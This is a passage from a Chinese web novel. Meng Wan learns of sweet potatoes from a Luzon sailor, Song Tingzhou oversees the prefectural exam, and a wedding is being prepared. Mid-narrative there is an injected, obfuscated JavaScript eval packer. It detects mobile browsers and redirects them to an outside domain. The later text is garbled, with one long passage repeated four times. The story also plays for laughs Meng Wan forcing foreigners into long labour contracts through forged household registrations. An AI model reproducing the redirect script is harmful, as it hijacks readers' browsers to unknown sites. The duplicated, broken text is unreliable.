“你先在这里住着等我证实了你所说真假再说。”孟晚脚步略比往常快了两分随意敷衍道。 埃米利奥看着四周健硕的汉子们欲哭无泪刚才你明明不是这么说的啊! 孟晚回家的时候宋亭舟还没回来他最近总是忙到很晚。 西梧府院试正试已经结束接下来就是复试学政和其下属审批考卷。而这一步为了保证公平当地官府是不允许插手的。宋亭舟包括单教授和 几个教逾们,都没有资格去批阅卷子。 这是宋亭舟任知府以来头一次协助学政举办院试,说不紧张是不可能的。 县学与府学改造还没超过半年,目前轻易看不出成绩来,今年西梧府有可能同前几年一样,一个秀才都没有,或者侥幸考中一个。 可以说当年宋亭舟自己院试,除去途中的波澜外,都没有如当下这般紧张过。 雪生晚些时候去府衙给宋亭舟送饭,他从桌案中抬首看了眼雪生,“晚儿呢?” 前几天都是孟晚过来送,有时候还会带上两个孩子。 雪生打开食盒,将里面的饭菜一样样端到旁边空闲的桌子上,答道:“夫郎今日有事在家,说不过来了。” “嗯。”宋亭舟手上动作一顿,放下手中的笔,净了手后走了过去用饭。 夜里回家,宋亭舟脚步略快了几分,孟晚正在灯下看书,桌子上还散落几本或薄或厚的书籍。 “想找什么书?” 孟晚抬头见他回来,忙起身拉他过去。 宋亭舟先观察一番孟晚,见其面色无任何委屈不快,眼里都是兴奋憧憬之色才放下心。 “我白日在书店买了些海外地志,只不过多是三两句笼统的叙述,并未找到实质概括,家里可有关于吕宋国的书籍吗?”孟晚抓着他的手在书架前问道。 宋亭舟眼神一软,“有本海国志,我帮你找出来。” 他家的书不是一般的多,如果说孟晚换一个地方就会买房子住,宋亭舟则是每路过一个新地方,想到的必定是买书。 他们俩的书房是两张桌子拼在一起,但两架书架基本上都是宋亭舟的书,孟晚的账本基本核查后轻易不会再动,所以大多都是装在箱子里面。足足有五大箱,都堆在书房另一侧的房间里。 当然,里面宋亭舟的书堆得更多。 他把每个箱子都做了标注,轻易就找到了想要找的书。 “这本是当初在盛京的时候买的《海国志》。”宋亭舟撩开衣袍蹲在地上,将手里薄薄的一册书籍交给孟晚。 孟晚就蹲在他旁边,拿到书迫不及待的翻看了起来。 宋亭舟像护着小宝宝一样扶着他起来,带他回卧房的软榻上坐下,并给他点了一盏油灯放在桌上。 这期间孟晚的视线一直停留 在书页上,比宋亭舟考科举的时候还认真。 宋亭舟洗澡回来的时候,孟晚已经找到了自己想要的。 “你快来。”他眼神明亮,语气激动。 宋亭舟直接坐到了他的身后,整个将他拢在怀里,“怎么了?” 孟晚毫无征兆的抬头在宋亭舟下巴上使劲亲了一口,指着此刻已经乱七八糟的矮几说:“按书上说,吕宋国应该是在禹国的东南方,中间隔着南海。主要海中群岛,离雷州府和钦州府还算近些,海中气候湿热,盛产水果,这方面和咱们西梧府相似。” 宋亭舟认真聆听孟晚说话,时不时给出建议,“我听说吕宋国多雨,气候炎热,终年没有寒冬。” 孟晚点了两下头,“对对,所以才盛产许多热带水果嘛。” “热带?”宋亭舟听着这个词觉得奇怪。 “非常炎热的一带,我接着和你说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088176|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟晚随口胡侃后接着说道:“这个国家地形和咱们禹国哪个州府都不一样,所以他们有许多独特的水果我们没有。这也没有什么,因为水果只是消遣,有或无只是锦上添花。” “但是!”孟晚终于说到正题,他摆弄了一下矮几上的几张宣纸。宋亭舟也把目光从他脸上移到矮几上的图画上。 上面画着各式各样奇怪的作物,下面还有小字标注,甚至还有一串很奇怪的符号。 “他们还有自己土地上独特的作物!有些量产甚至还能和土豆差不多!”孟晚沉浸在莫名的亢奋情绪中,因为这个世界上除了罗霁宁外,再没人比他更能知道红薯和玉米对华夏土地有多重要。 宋亭舟本来平静的表情随着孟晚的话语渐渐凝重起来,“晚儿?你说的是真的?” 孟晚手指点在纸上的其中一幅图上,上面是一株顶着茎蔓的植物。它的茎蔓细长且多分枝,茎上有节。叶片是掌状的,叶尖较长,叶片大小不一。最下面则是它的块根,呈纺锤形,两端稍尖,中间饱满。 “它下面的根茎可食?”宋亭舟一眼看出了门道,他家是地地道道的农户,他是下过田的。甚至在赫山县做知县的时候,还亲自教村民开荒种田,种过土豆等。 “不错,它根茎可食。而且据埃米利奥所说,这种作物适应力极强,耐贫瘠、耐干旱,山地和坡地皆可种植,不挑水土,易栽易活。一株秧苗便能结数枚块根,其产量一亩可达千斤!” 孟晚这两句话里全是干货,没有一点私心,什么好吃不好吃的,在产量和好种植面前都不重要,重要的是它能和土豆相互呼应,让百姓填饱肚子! 宋亭舟贴着孟晚的胸膛心跳剧烈,而后又逐渐平息下来,他沉声说道:“晚儿,暂时不可声张。” 孟晚侧头仰视他,“兰娘的爹,福恩伯就是因为种豆有功被封了个伯爵,你是怕我们也成为众矢之的?” 福恩伯身为一个普通农户,机缘巧合之下被封了伯爵之位,除了每年伯爵该领的俸禄外,和陛下赏赐的一座皇庄,并无任何实质上的好处。 伯爵一名,听起来尊贵显赫,实际上福恩伯一家地位尴尬,他儿子又不能**伯爵之位,勋贵世家并不把他们放在眼里,也就是底下的中低层才对福恩伯稍微客气些。 宋亭舟走的是权臣之路,复刻福恩伯的路子并不可取。短暂的荣耀之后,是把自己推到众人面前,更何况他现在羽翼未丰,而朝堂错综复杂。 发现良种,和妥善治理一方是两个概念。 就比方禹国的大小县城共有一千多个,而宋亭舟治理下的赫山县巷夜不闭户,路上无拾遗,老幼相安,一派升平。 县城外的糖坊为整个岭南第一家糖坊,一县而已,竟然带动了全府民生与商贸!又有开山造路之功,重新整合壵、瑶、鹋三族与寻常百姓互通,激增人口等。 不出意外的话,今年年底返京朝觐,他又会官升一阶。这等晋升速度,已是本朝少有了。 明眼人都能看出宋亭舟前途无量,大有可为。这种情况下,空有爵位的福恩伯面子甚至还不如宋亭舟大。 宋亭舟思忖的是以民为重,尚未确定良种产量与其他弊端之前,暂且不要声张。 孟晚也是这个意思,但他心要更细一些,看的是眼前局势。 他们若非离盛京远,这会儿早就被廉王视为眼中钉,又得罪着吴家,刚哄走一个罗家的罗霁宁。这种情况下出风头没准会被三家忌惮,维持目前的现状反而好些。 “我懂了,明日我就把那些吕宋国的人好好安排起来,绝不会让他们到外面胡说。”孟晚想明白前因后果,心里有了打算。 宋亭舟赞同道:“不错,一切等院试结束之后,我们再好好商议。” 天色已晚,他一把抱起孟晚走到床边放下帷帐。桌子上的油灯没人去管,融化的油脂似春水漫溢,一点点没过灯芯,将那点微光温柔地包裹住,渐渐隐没了它的行迹。 第61章 学政 其实埃米利奥不光给孟晚描述了红薯,还有辣椒、四季豆、山竹等。 旁的不说,光是一个红薯,一个辣椒,就已经十分值得孟晚欣喜了。 他本身不是嗜辣的人,但在现代各种小吃美食的熏陶下,偶尔也喜欢吃些放辣椒的食物,比如他曾经最喜欢吃的三件套,臭豆腐、烧烤、和面皮。 这几样哪个不放些辣椒都不好吃,还有火锅麻辣烫,他不会做,不会叫别人研究吗? 带着这些想法入梦,他不自觉口水便开始泛滥,大清早浸湿了宋亭舟胳膊。 宋亭舟无奈的将胳膊扯出来,动作轻缓的下了床。 孟晚迷迷糊糊的觉得有人在帮自己擦脸,闭着眼睛问道:“怎么还没去府衙啊?” 宋亭舟比动作更温柔的是声音,“马上就去了,你再多睡会儿。” “好。”孟晚的手抬起来一半,对着他挥了两下又垂到薄被上面,翻个身又睡着了。 又睡了半个时辰左右,他才起床洗漱穿戴整齐。关于安置埃米利奥一行人,一晚过去他大致有了想法。 “你们也不能一直在我地盘白吃白住对吧?”孟晚站在珍罐坊的大门前,对忐忑不安的埃米利奥一行人说道。 埃米利奥张张嘴吧,很想接一句,你可以放我们离开,这样就不用供我们吃喝了。 孟晚不用他们回答,他更像是自说自话,“我看你们漂泊异乡也挺可怜,吃不饱又穿不暖,所以决定雇佣你们做工,包吃包住,怎么样?” 埃米利奥前后左右被一群壮汉包围,他能说什么?面对未知的境地,他也只能在孟晚的威逼利诱下艰难的点头。 早知道当初那两碗米粉的代价这么大,他说什么也不用孟晚请客! 答应了还不算,孟晚还“请”他们九个签署了什么文契。签上字,画了押,感觉整个人都被卖了似的。 孟晚扇了扇文契上面的签名,满意的笑了,“很好,往后你们就要在我的工坊里做工十年。” “什么!” “十年!!!” 埃米利奥惊叫出声。 孟晚眉头轻蹙,“怎么?你嫌少了?那就十五年吧。”他又重新拿出一沓文契出来。 这群人都吓傻了,这是什么恶魔! 埃米利奥频频 摇头摆手,“不不不,十年,十年很好。” “掏我都掏出来了,快点,你们几个重新签。”孟晚语气不耐,姿态比恶霸还邪恶。 同伴们拿到新文契后都幽怨的看着埃米利奥,而埃米利奥已经哭了,巧克力色男人眼角沁出两滴泪光,“十五年,我去年刚娶的新婚妻子……” 孟晚一把抽出他新签的文契,“几年不回去,你妻子难道不会再嫁吗?你就别操那份心了。” 他这话说完,这群人的心底更凉了。 孟晚找来唐妗霜,告诉对方这批外国人很重要,让工坊里负责巡逻的工人们严加防守,务必不能让他们跑了。 其实与西梧府相比,赫山县才像他大本营,当地百姓对他尊崇又信服,是个安置人的好地方。 可埃米利奥这群人实在太过重要,而且人也有些滑头,孟晚琢磨着还是放在自己眼皮子底下比较放心。 果然,他们只安分了七天,在珍罐坊做工将地形研究明白了之后,竟然真的顺利偷跑出去三个人,剩下六个动作不快,被抓了回来。 埃米利奥就是偷跑出去的三人之一,甚至这次逃跑就是他一手策划的。 可惜——整个西梧府都是孟晚的眼线,他们三个晚上偷跑出去,不到天亮就又被抓了回来。 “装的很像嘛?”孟晚惊讶的看着埃米利奥。 埃米利奥像是彻底绝望了,人都有些疯魔的叫嚷道:“你就算抓住我也没用,我是不会屈服的,告诉你,你的文契上签的根本不是我们的真名!它是无效的!” 孟晚笑弯了眼睛,“我知道你们的名字都是乱填的,但是不妨碍。” 他抽出几张纸张来在众人面前晃了晃,“看见没,我用你们签的假名字给你们办了户籍,往后你们九个就是我们当地人了,文契自然也合法合效。” 那九人睚眦欲裂的瞪着孟晚手里的纸张,恨不得抢到手里撕碎。 孟晚像是看出他们的想法,“撕了也没用,我们当地官府已经把你们的户籍都登录在册,补办一张也不麻烦。” 埃米利奥眼睛重新失去光彩,变得麻木起来,他再也没有勇气再挣扎一遍。 这个人绝对是魔鬼,难怪他有那么多的仆人,他们可能都像自己一样,是被骗过来的! 五月初,院试结束,宋亭舟头一天晚上就已 经知道了结果。 “六名秀才,府城两名,赫山县两名,沙坑县和黑叶县各一名。”宋亭舟拿到榜单如释重负。 虽然知道学政大人看在他的面子上不会一个都不录,但考上六个,在宋亭舟看来已经是极好的结果了。 西梧府因为童试参考人数太少,院试平均水平过低,这些年已经被停科过四次。 卢溯和郑圆这两个秀才做为独苗苗真才实学不见得有多少,但运气是有几分的。 宋亭舟心有预感,以后的西梧府,读书人会越来越多。 院试结束后,学政还要前往下一个府城主持院试。像钦州和雷州府两地也是停科状态,钦州是因为这两年**。雷州府则纯粹因为太穷,一府之下只有两座县城,府城还没有一个赫山县大。 宋亭舟虽然为人严苛,但也不是不通俗务的人,学政离开前,他邀人去酒楼摆了送别的宴席。 “本官来西梧府不过半月,但见识良多,听说普通学子也可以到县学和府学中进学?”学政颇为好奇的问宋亭舟。 为了避嫌,他来西梧府后除了必要的公务外,很少同宋亭舟交谈过深。实际上早就久仰这位,在清流圈子颇负盛名的西梧知府大名。 宋亭舟一身普普通通的藏蓝色长衫,面色虽然不算热络,但行事作风也算彬彬有礼。他客气的请学政落座,“普通学子进学的费用,本官已经请示过朝廷,由我们西梧府自行承担。” 这样一来名义上虽是县学与府学,实则更像是私塾学院。 学政斟酌着问:“这其中的费用……恐怕不是一笔小数目吧?” “若人人以科举为目的,西梧府目前确实负担不起,但县学目前更重要的是筛选人才,以及让普通百姓越来越多的识字开智。”宋亭舟将县学和府学目前的状况对学政说了个大概。 进学的成本变低,普通百姓便会更加积极的将孩子送进学堂,其中有读书天赋的孩子便可以更进一步参加科举,没有天赋者也学会了最基本的识字。 而且还有孟晚的松韵书院双管齐下,假以时日,若是西梧府再无不识字的百姓,该是何等盛景? 学政也是头一次见识到有府学将育才重视到这种程度,虽然在他看来有许多资源就这样倾向给普通孩童有些浪费,“若是将资源更多的分配给秀才,岂不是更容易让西梧培养出举子和进士?” 宋亭舟只一句话就堵住了他的话头,“我想让西梧府的孩子都能读书识字,使更多家中无余钱供养孩子读书的百姓,见识读书的益处。” 学政一时之间说不出话来,这次来岭南主持科考和巡学,他也是见识了当地之贫瘠,读书人少到全府停考,实在是少见。他自问没有宋亭舟这样的魄力,培养全府城的学子。 可就是这样,心田上的钦佩之情才愈发浓厚。 学政从座位上起身,郑重对宋亭舟揖了一礼,感慨道:“早就听闻景行之大德,今日一见,旁人所说竟不及你本人三分!” 宋亭舟忙将他扶起,“安大人过誉了,区区微末小道,我真是愧不敢当。” 文人有文人的风骨,你上杆子巴结他,他反而看不上。宋亭舟说话做事始终淡淡,反而受安大人发自内心的敬佩起来。 两人把酒言欢到深夜,从酒楼出来宋亭舟先将学政安全送走,自己才被雪生扶上马车。 “夫郎,大人回来了。”雪生在他们院子里喊了句。 孟晚迷迷糊糊的披上外袍打开门,瞬间便被宋亭舟抱了个满怀。 “晚儿……” 宋亭舟不常喝酒,应酬更是少见,现在虽然还没到醉的不省人事的时候,但脚步确实有些踉跄。 孟晚抱着他对后面的雪生摆摆手,“雪生,去叫厨房烧点热水过来。” “是,夫郎。”雪生转身就往外走。 宋亭舟又高又重,孟晚半扶半抱的把他带进屋,将人扶坐在软塌上,短短的几步路硬是累出了一身的汗。 孟晚把自己沾染上酒气的外衫扔到地上,扒完自己的扒宋亭舟的。 宋亭舟晕晕沉沉的握住他的手,声音含糊不清。“晚儿?” 孟晚还带着困劲儿,打了个哈欠答道:“是我,你听话,我给你擦洗擦洗身子,不然睡觉不舒服。” 宋亭舟也不知听没听懂,总之抓着他的手倒是松开了。 雪生将温水放在他们房门外,孟晚提进来舀了两勺到木盆里,拧了帕子帮宋亭舟擦身,擦到一半的时候,宋亭舟就睡了过去。 这会儿都快到三更天了,孟晚也困,干脆把帕子一扔,顺势躺到软榻外侧,倚着宋亭舟睡着了。 等第二天一早天明,孟晚发现自己是在床上醒过来的,宋亭舟 已经穿戴整齐,但并未出门去衙门,反而倚在床边看书。 他穿着便衣,神态轻松下来的样子,比往常在府衙办公的时候更惬意几分,有种读书人的清朗。 “今天不去衙门?”孟晚从床铺上坐起来,下床穿衣梳洗。 宋亭舟合上书本亦步亦趋的跟着他,“早上为安大人饯行,白日休息一天。” 孟晚刷牙洗脸,整理好了衣裳后伸手摸了摸宋亭舟额头,“昨晚睡得那么晚,今天还早起送人,难不难受?” 宋亭舟牵着他的手行至中堂,“还好,左右今日无事,午后再小憩一会儿也好。” 黄叶去厨房端了饭菜过来,两人随便吃了点东西。宋亭舟几乎没睡多少,还没到午后就已经困乏起来。 孟晚陪他躺了一会儿,但实在睡不着,就偷偷爬起来跑到廊下纳凉。 五月份的西梧府已经很热了,黄叶端过来两盘子果子,“夫郎,驿站一大早送过来的荔枝。” 孟晚放下蒲扇拿了一个在手里剥,果肉发白,应该不是府城周边的,“这应该是最早成熟的一批,等天气越来越热了后,珍罐坊也要开始忙起来了。” 因为去年果珍罐在盛京爆火,今年年初便陆续有各地的商贩赶往西梧府订购果珍罐,天热之后西梧府的外地商人就更多了。 本地商人看到商机,不光是赫山县制糖的小工坊多了几座,其他地方的果干、蜜饯坊也接二连三的在城镇中耸立。 这会儿的烘焙成本较高,天气潮湿导致果干生产的成本颇多,但果干和蜜饯再贵总也没超过果珍罐。 孟晚的晒晾坊竟然还真接到了许多订单,甚至还有当地的点心铺子找他做代工厂,他们自行提供水果到工坊,由工坊的工人帮忙晒晾。 七月最热的时候祝三爷带着小余回到西梧府,祝三爷现在全权忙活着驿站的事,每年去赫山糖坊运糖的活计交给了手下的掌柜。 虽然石见驿站还没有铺设到盛京以及更远的昌平府,但运输已经比从前方便了许多。 “这小子,一回来不先回家,奔着就往珍罐坊去了。”祝三爷笑着调侃余彦东。 “他们还没成亲,长时间不见定然思念。”孟晚表示十分理解。 听闻祝三爷回来,孟晚立即便提着东西上门拜访。这会儿两人正坐在祝三爷在西梧府买的宅子里头。 祝三爷笑道:“说的也是,等小余和唐管事成亲,我给他们包个大红包。” 孟晚讶道:“三叔,你今年还不回盛京和泽宁他们过年?”去年因为忙着驿站的事,祝三爷便没有回去看孙女,连带着糖坊那边也放手交给属下去做。 祝三爷沉吟片刻,“回是回,晚哥儿,三叔也不瞒你,果珍罐在盛京被人抢破了头,卖多少银两都有权贵舍得买单,三叔我是真心动了。” 动心是动心,他还是没胆赚上一笔,毕竟他儿子还在盛京做官,若是因为眼前的利益让祝泽宁惹上麻烦,可就得不偿失了。 “今年我还是不打算把买卖做到盛京去,年前我就不回去了,留在府城,等小余成了亲再走。年后在泽宁那儿住一阵子,明年后半年再来西梧府。” 孟晚相当赞同祝三爷的打算,这会儿祝家没权没势,哪怕靠兰娘的娘家福恩伯爵府,在盛京露头也会被啃得连渣都不剩,还不如暂时低调起来,往其他地方发展。 已经穿戴整齐,但并未出门去衙门,反而倚在床边看书。 他穿着便衣,神态轻松下来的样子,比往常在府衙办公的时候更惬意几分,有种读书人的清朗。 “今天不去衙门?”孟晚从床铺上坐起来,下床穿衣梳洗。 宋亭舟合上书本亦步亦趋的跟着他,“早上为安大人饯行,白日休息一天。” 孟晚刷牙洗脸,整理好了衣裳后伸手摸了摸宋亭舟额头,“昨晚睡得那么晚,今天还早起送人,难不难受?” 宋亭舟牵着他的手行至中堂,“还好,左右今日无事,午后再小憩一会儿也好。” 黄叶去厨房端了饭菜过来,两人随便吃了点东西。宋亭舟几乎没睡多少,还没到午后就已经困乏起来。 孟晚陪他躺了一会儿,但实在睡不着,就偷偷爬起来跑到廊下纳凉。 五月份的西梧府已经很热了,黄叶端过来两盘子果子,“夫郎,驿站一大早送过来的荔枝。” 孟晚放下蒲扇拿了一个在手里剥,果肉发白,应该不是府城周边的,“这应该是最早成熟的一批,等天气越来越热了后,珍罐坊也要开始忙起来了。” 因为去年果珍罐在盛京爆火,今年年初便陆续有各地的商贩赶往西梧府订购果珍罐,天热之后西梧府的外地商人就更多了。 本地商人看到商机,不光是赫山县制糖的小工坊多了几座,其他地方的果干、蜜饯坊也接二连三的在城镇中耸立。 这会儿的烘焙成本较高,天气潮湿导致果干生产的成本颇多,但果干和蜜饯再贵总也没超过果珍罐。 孟晚的晒晾坊竟然还真接到了许多订单,甚至还有当地的点心铺子找他做代工厂,他们自行提供水果到工坊,由工坊的工人帮忙晒晾。 七月最热的时候祝三爷带着小余回到西梧府,祝三爷现在全权忙活着驿站的事,每年去赫山糖坊运糖的活计交给了手下的掌柜。 虽然石见驿站还没有铺设到盛京以及更远的昌平府,但运输已经比从前方便了许多。 “这小子,一回来不先回家,奔着就往珍罐坊去了。”祝三爷笑着调侃余彦东。 “他们还没成亲,长时间不见定然思念。”孟晚表示十分理解。 听闻祝三爷回来,孟晚立即便提着东西上门拜访。这会儿两人正坐在祝三爷在西梧府买的宅子里头。 祝三爷笑道:“说的也是,等小余和唐管事成亲,我给他们包个大红包。” 孟晚讶道:“三叔,你今年还不回盛京和泽宁他们过年?”去年因为忙着驿站的事,祝三爷便没有回去看孙女,连带着糖坊那边也放手交给属下去做。 祝三爷沉吟片刻,“回是回,晚哥儿,三叔也不瞒你,果珍罐在盛京被人抢破了头,卖多少银两都有权贵舍得买单,三叔我是真心动了。” 动心是动心,他还是没胆赚上一笔,毕竟他儿子还在盛京做官,若是因为眼前的利益让祝泽宁惹上麻烦,可就得不偿失了。 “今年我还是不打算把买卖做到盛京去,年前我就不回去了,留在府城,等小余成了亲再走。年后在泽宁那儿住一阵子,明年后半年再来西梧府。” 孟晚相当赞同祝三爷的打算,这会儿祝家没权没势,哪怕靠兰娘的娘家福恩伯爵府,在盛京露头也会被啃得连渣都不剩,还不如暂时低调起来,往其他地方发展。 已经穿戴整齐,但并未出门去衙门,反而倚在床边看书。 他穿着便衣,神态轻松下来的样子,比往常在府衙办公的时候更惬意几分,有种读书人的清朗。 “今天不去衙门?”孟晚从床铺上坐起来,下床穿衣梳洗。 宋亭舟合上书本亦步亦趋的跟着他,“早上为安大人饯行,白日休息一天。” 孟晚刷牙洗脸,整理好了衣裳后伸手摸了摸宋亭舟额头,“昨晚睡得那么晚,今天还早起送人,难不难受?” 宋亭舟牵着他的手行至中堂,“还好,左右今日无事,午后再小憩一会儿也好。” 黄叶去厨房端了饭菜过来,两人随便吃了点东西。宋亭舟几乎没睡多少,还没到午后就已经困乏起来。 孟晚陪他躺了一会儿,但实在睡不着,就偷偷爬起来跑到廊下纳凉。 五月份的西梧府已经很热了,黄叶端过来两盘子果子,“夫郎,驿站一大早送过来的荔枝。” 孟晚放下蒲扇拿了一个在手里剥,果肉发白,应该不是府城周边的,“这应该是最早成熟的一批,等天气越来越热了后,珍罐坊也要开始忙起来了。” 因为去年果珍罐在盛京爆火,今年年初便陆续有各地的商贩赶往西梧府订购果珍罐,天热之后西梧府的外地商人就更多了。 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孟晚讶道:“三叔,你今年还不回盛京和泽宁他们过年?”去年因为忙着驿站的事,祝三爷便没有回去看孙女,连带着糖坊那边也放手交给属下去做。 祝三爷沉吟片刻,“回是回,晚哥儿,三叔也不瞒你,果珍罐在盛京被人抢破了头,卖多少银两都有权贵舍得买单,三叔我是真心动了。” 动心是动心,他还是没胆赚上一笔,毕竟他儿子还在盛京做官,若是因为眼前的利益让祝泽宁惹上麻烦,可就得不偿失了。 “今年我还是不打算把买卖做到盛京去,年前我就不回去了,留在府城,等小余成了亲再走。年后在泽宁那儿住一阵子,明年后半年再来西梧府。” 孟晚相当赞同祝三爷的打算,这会儿祝家没权没势,哪怕靠兰娘的娘家福恩伯爵府,在盛京露头也会被啃得连渣都不剩,还不如暂时低调起来,往其他地方发展。 已经穿戴整齐,但并未出门去衙门,反而倚在床边看书。 他穿着便衣,神态轻松下来的样子,比往常在府衙办公的时候更惬意几分,有种读书人的清朗。 “今天不去衙门?”孟晚从床铺上坐起来,下床穿衣梳洗。 宋亭舟合上书本亦步亦趋的跟着他,“早上为安大人饯行,白日休息一天。” 孟晚刷牙洗脸,整理好了衣裳后伸手摸了摸宋亭舟额头,“昨晚睡得那么晚,今天还早起送人,难不难受?” 宋亭舟牵着他的手行至中堂,“还好,左右今日无事,午后再小憩一会儿也好。” 黄叶去厨房端了饭菜过来,两人随便吃了点东西。宋亭舟几乎没睡多少,还没到午后就已经困乏起来。 孟晚陪他躺了一会儿,但实在睡不着,就偷偷爬起来跑到廊下纳凉。 五月份的西梧府已经很热了,黄叶端过来两盘子果子,“夫郎,驿站一大早送过来的荔枝。” 孟晚放下蒲扇拿了一个在手里剥,果肉发白,应该不是府城周边的,“这应该是最早成熟的一批,等天气越来越热了后,珍罐坊也要开始忙起来了。” 因为去年果珍罐在盛京爆火,今年年初便陆续有各地的商贩赶往西梧府订购果珍罐,天热之后西梧府的外地商人就更多了。 本地商人看到商机,不光是赫山县制糖的小工坊多了几座,其他地方的果干、蜜饯坊也接二连三的在城镇中耸立。 这会儿的烘焙成本较高,天气潮湿导致果干生产的成本颇多,但果干和蜜饯再贵总也没超过果珍罐。 孟晚的晒晾坊竟然还真接到了许多订单,甚至还有当地的点心铺子找他做代工厂,他们自行提供水果到工坊,由工坊的工人帮忙晒晾。 七月最热的时候祝三爷带着小余回到西梧府,祝三爷现在全权忙活着驿站的事,每年去赫山糖坊运糖的活计交给了手下的掌柜。 虽然石见驿站还没有铺设到盛京以及更远的昌平府,但运输已经比从前方便了许多。 “这小子,一回来不先回家,奔着就往珍罐坊去了。”祝三爷笑着调侃余彦东。 “他们还没成亲,长时间不见定然思念。”孟晚表示十分理解。 听闻祝三爷回来,孟晚立即便提着东西上门拜访。这会儿两人正坐在祝三爷在西梧府买的宅子里头。 祝三爷笑道:“说的也是,等小余和唐管事成亲,我给他们包个大红包。” 孟晚讶道:“三叔,你今年还不回盛京和泽宁他们过年?”去年因为忙着驿站的事,祝三爷便没有回去看孙女,连带着糖坊那边也放手交给属下去做。 祝三爷沉吟片刻,“回是回,晚哥儿,三叔也不瞒你,果珍罐在盛京被人抢破了头,卖多少银两都有权贵舍得买单,三叔我是真心动了。” 动心是动心,他还是没胆赚上一笔,毕竟他儿子还在盛京做官,若是因为眼前的利益让祝泽宁惹上麻烦,可就得不偿失了。 “今年我还是不打算把买卖做到盛京去,年前我就不回去了,留在府城,等小余成了亲再走。年后在泽宁那儿住一阵子,明年后半年再来西梧府。” 孟晚相当赞同祝三爷的打算,这会儿祝家没权没势,哪怕靠兰娘的娘家福恩伯爵府,在盛京露头也会被啃得连渣都不剩,还不如暂时低调起来,往其他地方发展。 已经穿戴整齐,但并未出门去衙门,反而倚在床边看书。 他穿着便衣,神态轻松下来的样子,比往常在府衙办公的时候更惬意几分,有种读书人的清朗。 “今天不去衙门?”孟晚从床铺上坐起来,下床穿衣梳洗。 宋亭舟合上书本亦步亦趋的跟着他,“早上为安大人饯行,白日休息一天。” 孟晚刷牙洗脸,整理好了衣裳后伸手摸了摸宋亭舟额头,“昨晚睡得那么晚,今天还早起送人,难不难受?” 宋亭舟牵着他的手行至中堂,“还好,左右今日无事,午后再小憩一会儿也好。” 黄叶去厨房端了饭菜过来,两人随便吃了点东西。宋亭舟几乎没睡多少,还没到午后就已经困乏起来。 孟晚陪他躺了一会儿,但实在睡不着,就偷偷爬起来跑到廊下纳凉。 五月份的西梧府已经很热了,黄叶端过来两盘子果子,“夫郎,驿站一大早送过来的荔枝。” 孟晚放下蒲扇拿了一个在手里剥,果肉发白,应该不是府城周边的,“这应该是最早成熟的一批,等天气越来越热了后,珍罐坊也要开始忙起来了。” 因为去年果珍罐在盛京爆火,今年年初便陆续有各地的商贩赶往西梧府订购果珍罐,天热之后西梧府的外地商人就更多了。 本地商人看到商机,不光是赫山县制糖的小工坊多了几座,其他地方的果干、蜜饯坊也接二连三的在城镇中耸立。 这会儿的烘焙成本较高,天气潮湿导致果干生产的成本颇多,但果干和蜜饯再贵总也没超过果珍罐。 孟晚的晒晾坊竟然还真接到了许多订单,甚至还有当地的点心铺子找他做代工厂,他们自行提供水果到工坊,由工坊的工人帮忙晒晾。 七月最热的时候祝三爷带着小余回到西梧府,祝三爷现在全权忙活着驿站的事,每年去赫山糖坊运糖的活计交给了手下的掌柜。 虽然石见驿站还没有铺设到盛京以及更远的昌平府,但运输已经比从前方便了许多。 “这小子,一回来不先回家,奔着就往珍罐坊去了。”祝三爷笑着调侃余彦东。 “他们还没成亲,长时间不见定然思念。”孟晚表示十分理解。 听闻祝三爷回来,孟晚立即便提着东西上门拜访。这会儿两人正坐在祝三爷在西梧府买的宅子里头。 祝三爷笑道:“说的也是,等小余和唐管事成亲,我给他们包个大红包。” 孟晚讶道:“三叔,你今年还不回盛京和泽宁他们过年?”去年因为忙着驿站的事,祝三爷便没有回去看孙女,连带着糖坊那边也放手交给属下去做。 祝三爷沉吟片刻,“回是回,晚哥儿,三叔也不瞒你,果珍罐在盛京被人抢破了头,卖多少银两都有权贵舍得买单,三叔我是真心动了。” 动心是动心,他还是没胆赚上一笔,毕竟他儿子还在盛京做官,若是因为眼前的利益让祝泽宁惹上麻烦,可就得不偿失了。 “今年我还是不打算把买卖做到盛京去,年前我就不回去了,留在府城,等小余成了亲再走。年后在泽宁那儿住一阵子,明年后半年再来西梧府。” 孟晚相当赞同祝三爷的打算,这会儿祝家没权没势,哪怕靠兰娘的娘家福恩伯爵府,在盛京露头也会被啃得连渣都不剩,还不如暂时低调起来,往其他地方发展。 第62章 送亲 时间过得飞快,随着日升月落,珍罐坊也开始忙碌起来。曾经一心想逃跑的埃米利奥九人,现在连逃跑的力气都没有了,每天睁开眼睛就是穿衣吃饭上工。 唯一还算有些安慰的是,珍罐坊里的伙食还算不错,荔枝橘子想吃就吃。 在运动量这么大的情况下,他们都没瘦下去,反而各个像发面馒头似的胖了起来。 而且——他们竟然还有工资! 虽然不能出门,但可以拜托工友给他们捎带回来些烧鹅、零嘴、茶叶等。说实话除了不能出门外,过得比在吕宋国时还要滋润。不管埃米利奥是怎么想的,反正另外八人是不想回吕宋了。 一直忙到十月份,珍罐坊才没那么忙碌,接下来只剩橘子果珍罐和橘子果汁,工坊里瞬间清闲了许多。 阿砚过完十月的生日又长了一岁,而后便是一年一度十月初十的**。去年**便促成了很多年轻人的婚姻,今年孟晚和宋亭舟照例在树下摆摊,见证那颗姻缘树上的竹牌越挂越多,又逐渐减少,是一种很奇妙的体验。 十一月初一是余彦东和唐妗霜的昏礼,余家家大业大,讲究的多。唐妗霜又有那些不为人知的过去,对上余家难免心中惴惴不安。也就是余彦东一直以来的坚持打动了他,不然唐妗霜绝对不会这么豁的出去。 婚前三天两位新人是不能见面的,孟晚给唐妗霜放了假,让他安心在妹妹家里备嫁。 昏礼前夜,孟晚和从赫山过来的荷娘懂哥儿几人,到张推官家里陪唐妗霜。 “这个是我婆母给你准备的嫁妆,你收着,明早她带阿砚他们上余家吃席面去。”孟晚递给唐妗霜一个妆匣子,里面是常金花在金银首饰铺子里置办的首饰。 长者赐,不敢辞。 